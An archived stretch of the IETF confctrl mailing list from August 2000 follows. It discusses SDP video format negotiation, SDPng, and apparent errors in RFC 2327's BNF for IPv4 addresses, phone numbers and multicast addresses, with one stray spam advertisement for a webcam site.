But as I look to RFC 2327 (SDP) and RFC 2038 (RTP Profile for Audio and Video ...) ,
I can't imagine how such a parameter is currently negotiated in SDP.
If we suppose user A and user B aiming at videoconferencing.
What happen if A wants CIF and B wants QCIF :
    -Will A sends RTP packets with CIF and B sends RTP packets with QCIF (thus,
having non symetrical transmission) ?
    -Is there some kind of negotiation mechanism in RTP/RTCP (just an eventuality)?
- May we correlate bandwidth information in SDP to determine the format?

Or last proposition:
Is it a known identified lack in SDP, that you intend to solve with SDPng?

Comments welcome,

Thomas LEVY,

--------------7BDCBAD231538FD938308635
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;&nbsp;&nbsp; Hi,
<p>First, I must confess that I am not very confident with SDP.
<br>So perhaps, my question will seem rather evident or confused.
<p>In the current version of the draft SDPng, it is mentioned:
<br><i>"In case of video transmission, a JPEG-based still image protocol
may be used, H.261</i>
<br><i>encoded CIF images could be sent as could H.261 encoded QCIF images.
All three cases constitute</i>
<br><i>different configurations. Of course there are many more detailed
protocol parameters. .."</i><i></i>
<p>It points out that the format of the image (such as CIF, QCIF..) is
a determining parameter for some video codecs (such as H.261).
<br>But as I look to RFC 2327 (SDP) and RFC 2038 (RTP Profile for Audio
and Video ...) , I can't imagine how such a parameter is currently negotiated
in SDP.
<br>If we suppose user A and user B aiming at videoconferencing.
<br>What happen if A wants CIF and B wants QCIF :
<br>&nbsp;&nbsp;&nbsp; -Will A sends RTP packets with CIF and B sends RTP
packets with QCIF (thus, having non symetrical transmission) ?
<br>&nbsp;&nbsp;&nbsp; -Is there some kind of negotiation mechanism in
RTP/RTCP (just an eventuality)?
<br>- May we correlate bandwidth information in SDP to determine the format?
<p>Or last proposition:
<br>Is it a known identified lack in SDP, that you intend to solve with
SDPng?
<p>Comments welcome,
<p>Thomas LEVY,</html>

--------------7BDCBAD231538FD938308635--


From confctrl-owner  Thu Aug 17 10:05:17 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id KAA11285
	for confctrl-outgoing; Thu, 17 Aug 2000 10:05:17 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA11272
	for <confctrl@zephyr.isi.edu>; Thu, 17 Aug 2000 10:05:14 -0700 (PDT)
Received: from mail.yourdomain.com (m319-mp1-cvx1a.man.ntl.com [62.252.197.63])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id KAA08599;
	Thu, 17 Aug 2000 10:06:14 -0700 (PDT)
From: announce@leisurewebcams.com
Message-Id: <200008171706.KAA08599@gamma.isi.edu>
Date: Thu, 17 Aug 2000 14:30:32
Subject: LeisureWebcams.com - See the World
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

LeisureWebcams.com is a recently launched website
specialising in providing free LIVE access to over
1,500 webcams and 2,000 Tourist Offices world wide.

Check it out:-

http://www.leisurewebcams.com/

This offers you the chance to check out live and
frequently updated images of your chosen location
through the webcams and get detailed local knowledge
through the Tourist Offices. Along with booking
holidays direct through our travel partner, there is
the opportunity to sell your unwanted clothes and
equipment through our free Swap Shop.

There is a lot to see, so if you have enjoyed your
trip through our site, do tell your friends and let
us know through 'Your Views'. If you have any
suggestions for the site, or queries, please feel
free to contact me at cy@LeisureWebcams.com.

I look forward to hearing from you.

Kind regards,

Charlie Yates
MARKETING DIRECTOR
LeisureWebcams.com
 
 
 
 
 
 
 
 
 
 

From confctrl-owner  Thu Aug 17 18:22:32 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id RAA00795
	for confctrl-outgoing; Thu, 17 Aug 2000 17:11:06 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA00785
	for <confctrl@zephyr.isi.edu>; Thu, 17 Aug 2000 17:10:12 -0700 (PDT)
Received: from acsys.anu.edu.au (acsys.anu.edu.au [150.203.20.41])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id RAA02032
	for <confctrl@ISI.EDU>; Thu, 17 Aug 2000 17:11:19 -0700 (PDT)
Received: from accordion (accordion.anu.edu.au [150.203.20.58])
	by acsys.anu.edu.au (8.9.3/8.9.3) with SMTP id KAA13978;
	Fri, 18 Aug 2000 10:10:57 +1000 (EST)
Message-Id: <3.0.32.20000818101039.01196cc0@acsys.anu.edu.au>
X-Sender: markus@acsys.anu.edu.au
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Fri, 18 Aug 2000 10:10:41 +1000
To: Thomas LEVY <thomas.levy@ms.alcatel.fr>,
        Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
From: Markus Buchhorn <markus@acsys.anu.edu.au>
Subject: Re: SDPng/SDP: video configuration negotiation,
Cc: mmusic <confctrl@ISI.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


<<<<
Thomas wrote:
------------
>>>>
It points out that the format of the image (such as CIF, QCIF..) is a
determining parameter for some video codecs (such as H.261). 
But as I look to RFC 2327 (SDP) and RFC 2038 (RTP Profile for Audio and
Video ...) , I can't imagine how such a parameter is currently negotiated
in SDP. 
<<<<
-------------

It isn't. SDP is currently one-way/informational only - I advertise a
stream/source/whatever as having these characteristics, you can use it or
ignore it. If I want to be friendly I might advertise one or more different
versions of the same stream and the end user can decide. If you're
multicasting in a huge crowd you don't want everybody to negotiate with
everybody one-to-one. So yes, you can end up with a group where everyone
sends their own choice of video encoding, and you have to have to decode
everybody else's choices or not see them.

In a small group, or just point-to-point, you may want to negotiate
features, and that is one of the things SDPng is looking at. 

Hmm - interesting problem - create/join a large group and have a
distributed election to decide what encodings are used....

Cheers,
	Markus

Markus Buchhorn,  Advanced Computational Systems CRC     | Ph: +61 2 62798810
email: markus@acsys.anu.edu.au, snail: ACSys, RSISE Bldg,|Fax: +61 2 62798602
Australian National University, Canberra 0200, Australia |Mobile: 0417 281429  

From confctrl-owner  Thu Aug 17 21:06:28 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id VAA10606
	for confctrl-outgoing; Thu, 17 Aug 2000 21:06:28 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id VAA10601
	for <confctrl@zephyr.isi.edu>; Thu, 17 Aug 2000 21:06:27 -0700 (PDT)
Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id VAA20540
	for <confctrl@isi.edu>; Thu, 17 Aug 2000 21:07:31 -0700 (PDT)
From: manu@sasi.com
Received: from samar (sasi.com [164.164.56.2])
	by sasi.com (8.9.3/8.9.3) with SMTP id JAA26375
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 09:38:13 +0530 (IST)
Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 18 Aug 2000 09:38:13 +0000 (IST)
Received: from localhost (manu@localhost)
	by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id JAA01265
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 09:38:11 +0530
Date: Fri, 18 Aug 2000 09:38:11 +0530 (IST)
To: confctrl@ISI.EDU
Subject: ipv4 addresses in SDP
Message-ID: <Pine.LNX.4.21.0008180927211.1252-100000@pcg143.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



I have a query on the BNF for IP4-address in rfc 2327.

Consider the following in rfc 2327:
------------------------------------------------------------------------
   IP4-address =         b1 "." decimal-uchar "." decimal-uchar "." b4

   decimal-uchar =       DIGIT
                         | POS-DIGIT DIGIT
                         | ("1" 2*(DIGIT))
                         | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
                         | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))

   DIGIT =               "0" | POS-DIGIT
   POS-DIGIT =           "1"|"2"|"3"|"4"|"5"|"6"|"7"|"8"|"9"
------------------------------------------------------------------------

Is there a mistake in the following production?
    decimal-uchar = ("1" 2*(DIGIT))

I ask because there's a similar rule for IPv4 addresses in the 
SIP-URL grammar (draft-ietf-sip-rfc2543bis-00).
  IPv4address     = 1*3DIGIT"."1*3DIGIT"."1*3DIGIT"."1*3DIGIT
This rule unambiguously states that each token between the '.'
must not be more than 3 digits.

But SDP's ("1" 2*(DIGIT)) rule seems to suggest any number beginning
with a "1" and having atleast 3 digits.

If the intention was to restrict decimal-uchar to have values
between 0 and 255, then shouldn't the second production have been:
    ("1" 2*2(DIGIT))


Thanks.


From confctrl-owner  Fri Aug 18 05:26:19 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA28089
	for confctrl-outgoing; Fri, 18 Aug 2000 05:26:19 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA28084
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 05:26:18 -0700 (PDT)
Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id FAA20734
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 05:27:23 -0700 (PDT)
From: manu@sasi.com
Received: from samar (sasi.com [164.164.56.2])
	by sasi.com (8.9.3/8.9.3) with SMTP id RAA16513
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 17:58:23 +0530 (IST)
Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 18 Aug 2000 17:58:22 +0000 (IST)
Received: from localhost (manu@localhost)
	by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id RAA05761
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 17:58:15 +0530
Date: Fri, 18 Aug 2000 17:58:15 +0530 (IST)
To: confctrl@ISI.EDU
Subject: SDP: grammar for "phone"
Message-ID: <Pine.LNX.4.21.0008181751330.5756-100000@pcg143.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


I have a query on the BNF for "phone" in rfc 2327.

---------------------------------------------------------------------
   POS-DIGIT    = "1"|"2"|"3"|"4"|"5"|"6"|"7"|"8"|"9"
   DIGIT        = "0" | POS-DIGIT

   phone        = "+" POS-DIGIT 1*(space | "-" | DIGIT)
                    ;there must be a space or hyphen between the
                    ;international code and the rest of the number.
---------------------------------------------------------------------

The POS-DIGIT in `phone' denotes the international code.
The grammar clearly says that the international code is a SINGLE,
non-zero digit.

However, the example given elsewhere (sec 6, to be precise) 
in the rfc assumes no such thing:
      p=+44-171-380-7777 
         ^^
     international code is two digits long!

A single digit for the international code seems a little too
restrictive. Was that intentional?

Thanks.


From confctrl-owner  Fri Aug 18 06:01:06 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA29235
	for confctrl-outgoing; Fri, 18 Aug 2000 06:01:06 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29230
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 06:01:04 -0700 (PDT)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA26799
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 06:02:08 -0700 (PDT)
Received: from benetnash.fokus.gmd.de (benetnash [193.175.133.195])
	by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id PAA26897;
	Fri, 18 Aug 2000 15:02:01 +0200 (MET DST)
Received: (from chr@localhost)
	by benetnash.fokus.gmd.de (8.8.8/8.8.8) id PAA04003;
	Fri, 18 Aug 2000 15:02:01 +0200 (MET DST)
Date: Fri, 18 Aug 2000 15:02:01 +0200
From: Christoph Reichert <reichert@fokus.gmd.de>
To: Markus Buchhorn <markus@acsys.anu.edu.au>
Cc: Thomas LEVY <thomas.levy@ms.alcatel.fr>,
        Dirk Kutscher <dku@informatik.uni-bremen.de>,
        mmusic <confctrl@ISI.EDU>
Subject: Re: SDPng/SDP: video configuration negotiation,
Message-ID: <20000818150201.A3984@fokus.gmd.de>
References: <3.0.32.20000818101039.01196cc0@acsys.anu.edu.au>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 1.0i
In-Reply-To: <3.0.32.20000818101039.01196cc0@acsys.anu.edu.au>; from markus@acsys.anu.edu.au on Fri, Aug 18, 2000 at 10:10:41AM +1000
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

On Fri, Aug 18, 2000 at 10:10:41AM +1000, Markus Buchhorn wrote:

[...]

> Hmm - interesting problem - create/join a large group and have a
> distributed election to decide what encodings are used....

The basic approach can be rather simple:
Everybody multicasts its set of codecs when joining the group, and
everybody intersects these sets.

The question is whether SDPng shall support both, a very detailed
point-to-point negotiation (preferences, number of channels, optional features
and so on) and a negotiation mechanism for large groups (say, some hundreds
of participants).

On the other hand, point-to-point is just a group with only two
participants.

BTW, does anybody think that UDP ports need to be negotiated ?
Eg. 500 participants try to join a multicast session, some cannot participate
as the port is already in use by some other application...

cheers, chris

From confctrl-owner  Fri Aug 18 06:15:36 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA29814
	for confctrl-outgoing; Fri, 18 Aug 2000 06:15:36 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29809
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 06:15:35 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA29454
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 06:16:42 -0700 (PDT)
Received: from cabo3 (dienstmann.informatik.uni-bremen.de [134.102.224.51])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e7IDGQE13903;
	Fri, 18 Aug 2000 15:16:27 +0200 (MET DST)
From: "Dr. Carsten Bormann" <cabo@tzi.org>
To: <manu@sasi.com>, <confctrl@ISI.EDU>
Subject: RE: grammar for "phone"
Date: Fri, 18 Aug 2000 15:16:10 +0200
Message-ID: <NDBBLDHFKCPEPDKNKJBKKEGEEGAA.cabo@tzi.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <Pine.LNX.4.21.0008181751330.5756-100000@pcg143.sasi.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> The POS-DIGIT in `phone' denotes the international code.

No.

> The grammar clearly says that the international code is a SINGLE,
> non-zero digit.

No.

Gruesse, Carsten


From confctrl-owner  Fri Aug 18 06:22:59 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA00231
	for confctrl-outgoing; Fri, 18 Aug 2000 06:22:59 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA00225
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 06:22:56 -0700 (PDT)
Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA01280
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 06:24:00 -0700 (PDT)
From: manu@sasi.com
Received: from samar (sasi.com [164.164.56.2])
	by sasi.com (8.9.3/8.9.3) with SMTP id SAA18438;
	Fri, 18 Aug 2000 18:54:59 +0530 (IST)
Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 18 Aug 2000 18:54:58 +0000 (IST)
Received: from localhost (manu@localhost)
	by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id SAA05791;
	Fri, 18 Aug 2000 18:54:53 +0530
Date: Fri, 18 Aug 2000 18:54:53 +0530 (IST)
To: "Dr. Carsten Bormann" <cabo@tzi.org>
cc: confctrl@ISI.EDU
Subject: RE: grammar for "phone"
In-Reply-To: <NDBBLDHFKCPEPDKNKJBKKEGEEGAA.cabo@tzi.org>
Message-ID: <Pine.LNX.4.21.0008181849430.5785-100000@pcg143.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


On Fri, 18 Aug 2000, Dr. Carsten Bormann wrote:

>> The grammar clearly says that the international code is a SINGLE,
>> non-zero digit.
>
>No.


phone =               "+" POS-DIGIT 1*(space | "-" | DIGIT)

My sincere apologies, I misread the grammar.

The international code must _begin_ with a POS-DIGIT  and may be 
followed by zero or more DIGITs. 
So, it must have _atleast_ one non-zero digit, but there's no
restriction  on its length. 
Is that correct?

Thanks very much.


From confctrl-owner  Fri Aug 18 06:28:13 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA00483
	for confctrl-outgoing; Fri, 18 Aug 2000 06:28:13 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA00478
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 06:28:12 -0700 (PDT)
Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA02044
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 06:29:17 -0700 (PDT)
From: manu@sasi.com
Received: from samar (sasi.com [164.164.56.2])
	by sasi.com (8.9.3/8.9.3) with SMTP id TAA18576
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 19:00:16 +0530 (IST)
Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 18 Aug 2000 19:00:15 +0000 (IST)
Received: from localhost (manu@localhost)
	by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id TAA05798
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 19:00:09 +0530
Date: Fri, 18 Aug 2000 19:00:09 +0530 (IST)
To: confctrl@ISI.EDU
Subject: SDP: grammar for "multicast-address"
Message-ID: <Pine.LNX.4.21.0008181844130.5779-100000@pcg143.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



I have a query on the BNF for "multicast-address" in rfc 2327.

---------------------------------------------------------------------
multicast-address = 3*(decimal-uchar ".") decimal-uchar "/" ttl
                    [ "/" integer ]
                         ;multicast addresses may be in the range
                         ;224.0.0.0 to 239.255.255.255
---------------------------------------------------------------------


Isn't a multicast address supposed to be somewhat similar in form 
to the unicast IP4-address?
	1*3DIGIT "." 1*3DIGIT "." 1*3DIGIT "." 1*3DIGIT ....


That is, shouldn't it be of the form
    3*3(decimal-uchar ".") decimal-uchar "/" ttl ["/" integer]
      ^^

Although the accompanying text states the valid range for a
multicast address, the BNF seems misleading.

Or have I missed something? Can someone please clarify?
Thanks.



From confctrl-owner  Fri Aug 18 06:53:12 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA01581
	for confctrl-outgoing; Fri, 18 Aug 2000 06:53:12 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA01573
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 06:53:10 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA07091
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 06:54:18 -0700 (PDT)
Received: from cabo3 (dienstmann.informatik.uni-bremen.de [134.102.224.51])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e7IDs6E17536;
	Fri, 18 Aug 2000 15:54:06 +0200 (MET DST)
From: "Dr. Carsten Bormann" <cabo@tzi.org>
To: <manu@sasi.com>, <confctrl@ISI.EDU>
Subject: RE: grammar for "multicast-address"
Date: Fri, 18 Aug 2000 15:53:46 +0200
Message-ID: <NDBBLDHFKCPEPDKNKJBKMEGGEGAA.cabo@tzi.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <Pine.LNX.4.21.0008181844130.5779-100000@pcg143.sasi.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

   decimal-uchar =       DIGIT
                         | POS-DIGIT DIGIT
                         | ("1" 2*(DIGIT))
                         | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
                         | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))

Gruesse, Carsten


From confctrl-owner  Fri Aug 18 06:54:47 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA01627
	for confctrl-outgoing; Fri, 18 Aug 2000 06:54:47 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA01622
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 06:54:46 -0700 (PDT)
Received: from bettina.informatik.uni-bremen.de (bettina.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id GAA07160
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 06:55:54 -0700 (PDT)
Received: from cabo3 (dienstmann.informatik.uni-bremen.de [134.102.224.51])
	by bettina.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id e7IDpvE17311;
	Fri, 18 Aug 2000 15:51:57 +0200 (MET DST)
From: "Dr. Carsten Bormann" <cabo@tzi.org>
To: <manu@sasi.com>
Cc: <confctrl@ISI.EDU>
Subject: RE: grammar for "phone"
Date: Fri, 18 Aug 2000 15:51:37 +0200
Message-ID: <NDBBLDHFKCPEPDKNKJBKGEGGEGAA.cabo@tzi.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <Pine.LNX.4.21.0008181849430.5785-100000@pcg143.sasi.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> The international code must _begin_ with a POS-DIGIT  and may be
> followed by zero or more DIGITs.
> So, it must have _atleast_ one non-zero digit, but there's no
> restriction  on its length.
> Is that correct?

That is how I read it.
(Note that you must read both the formal grammar and the English language
comments to arrive at this conclusion.)
I think the intention is also that the country code does not itself contain
spaces or hyphens, but this is not clearly stated (or I can't find it).

Gruesse, Carsten


From confctrl-owner  Fri Aug 18 07:03:10 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA02105
	for confctrl-outgoing; Fri, 18 Aug 2000 07:03:10 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA02100
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 07:03:09 -0700 (PDT)
Received: from sasi.com (samar.sasi.com.56.164.164.in-addr.arpa [164.164.56.2] (may be forged))
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA08674
	for <confctrl@ISI.EDU>; Fri, 18 Aug 2000 07:04:13 -0700 (PDT)
From: manu@sasi.com
Received: from samar (sasi.com [164.164.56.2])
	by sasi.com (8.9.3/8.9.3) with SMTP id TAA19808;
	Fri, 18 Aug 2000 19:35:12 +0530 (IST)
Received: from pcg143.sasi.com ([10.0.64.143]) by sasi.com; Fri, 18 Aug 2000 19:35:11 +0000 (IST)
Received: from localhost (manu@localhost)
	by pcg143.sasi.com (8.9.3/8.9.3) with ESMTP id TAA05895;
	Fri, 18 Aug 2000 19:35:04 +0530
Date: Fri, 18 Aug 2000 19:35:04 +0530 (IST)
To: "Dr. Carsten Bormann" <cabo@tzi.org>
cc: confctrl@ISI.EDU
Subject: RE: grammar for "multicast-address"
In-Reply-To: <NDBBLDHFKCPEPDKNKJBKMEGGEGAA.cabo@tzi.org>
Message-ID: <Pine.LNX.4.21.0008181927070.5889-100000@pcg143.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



On Fri, 18 Aug 2000, Dr. Carsten Bormann wrote:

>   decimal-uchar =       DIGIT
>                         | POS-DIGIT DIGIT
>                         | ("1" 2*(DIGIT))
>                         | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
>                         | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))


Thank you for your response.

---------------------------------------------------------------------
multicast-address = 3*(decimal-uchar ".") decimal-uchar "/" ttl
                    [ "/" integer ]
                         ;multicast addresses may be in the range
                         ;224.0.0.0 to 239.255.255.255
---------------------------------------------------------------------

Although decimal-uchar is supposed to be restricted to 3 digits (is
it?), my doubt is because the pattern
    (decimal-uchar ".") 
itself is not restricted.

The BNF only says that it has to appear _atleast_ thrice.
It doesn't say that it should _not_ appear _more_ than thrice.
(Yes, the accompanying text suggests that, but the BNF doesn't seem to.)

So according to the multicast-address BNF, won't the
following address also be considered valid?
    224.10.11.12.13

I hope I made my query clear.
Thanks again.




From confctrl-owner  Fri Aug 18 07:52:00 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA04325
	for confctrl-outgoing; Fri, 18 Aug 2000 07:52:00 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA04320
	for <confctrl@zephyr.isi.edu>; Fri, 18 Aug 2000 07:51:57 -0700 (PDT)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA18055
	for <confctrl@isi.edu>; Fri, 18 Aug 2000 07:53:05 -0700 (PDT)
Received: from dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id KAA08263;
	Fri, 18 Aug 2000 10:54:31 -0400 (EDT)
Message-ID: <399D4F32.5A9F79A0@dynamicsoft.com>
Date: Fri, 18 Aug 2000 10:58:58 -0400
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
X-Mailer: Mozilla 4.7 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: manu@sasi.com
CC: sip@lists.bell-labs.com, confctrl@ISI.EDU, "Handley, Mark" <mjh@aciri.org>
Subject: Re: [SIP] ipv4 addresses in SDP
References: <Pine.LNX.4.21.0008180922210.1252-100000@pcg143.sasi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



manu@sasi.com wrote:
> 
> On Thu, 17 Aug 2000, Jonathan Rosenberg wrote:
> 
> >SDP queries belong on confctrl@isi.edu.
> 
> Thanks, I'll post it there.
> 
> >The BNF is correct. You need to examine complete production for
> >decimal-uchar:
> >
> >>  decimal-uchar =       DIGIT
> >>                          | POS-DIGIT DIGIT
> >>                          | ("1" 2*(DIGIT))
> >>                          | ("2" ("0"|"1"|"2"|"3"|"4") DIGIT)
> >>                          | ("2" "5" ("0"|"1"|"2"|"3"|"4"|"5"))
> >
> >The production defines one of five rules; the first covers the numbers
> >0-9. The second covers 10 through 99.
> 
> >The thrid 100 through 199 (thus a 1 followed by two digits),
> 
> Right, but the third production also allows
> 1000 through 1999, 10000 through 19999 ...
> 
> That is, it doesn't restrict the length of decimal-uchar to three
> digits like the fourth & fifth productions do, does it?

Oops, you're right. This BNF is wrong; it should be:

...
| ("1" 2DIGIT)
...

This should be corrected in the draft version.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (732) 741-7244
http://www.dynamicsoft.com

From confctrl-owner  Fri Aug 18 08:02:20 2000
Return-Path: <owner-confctrl>
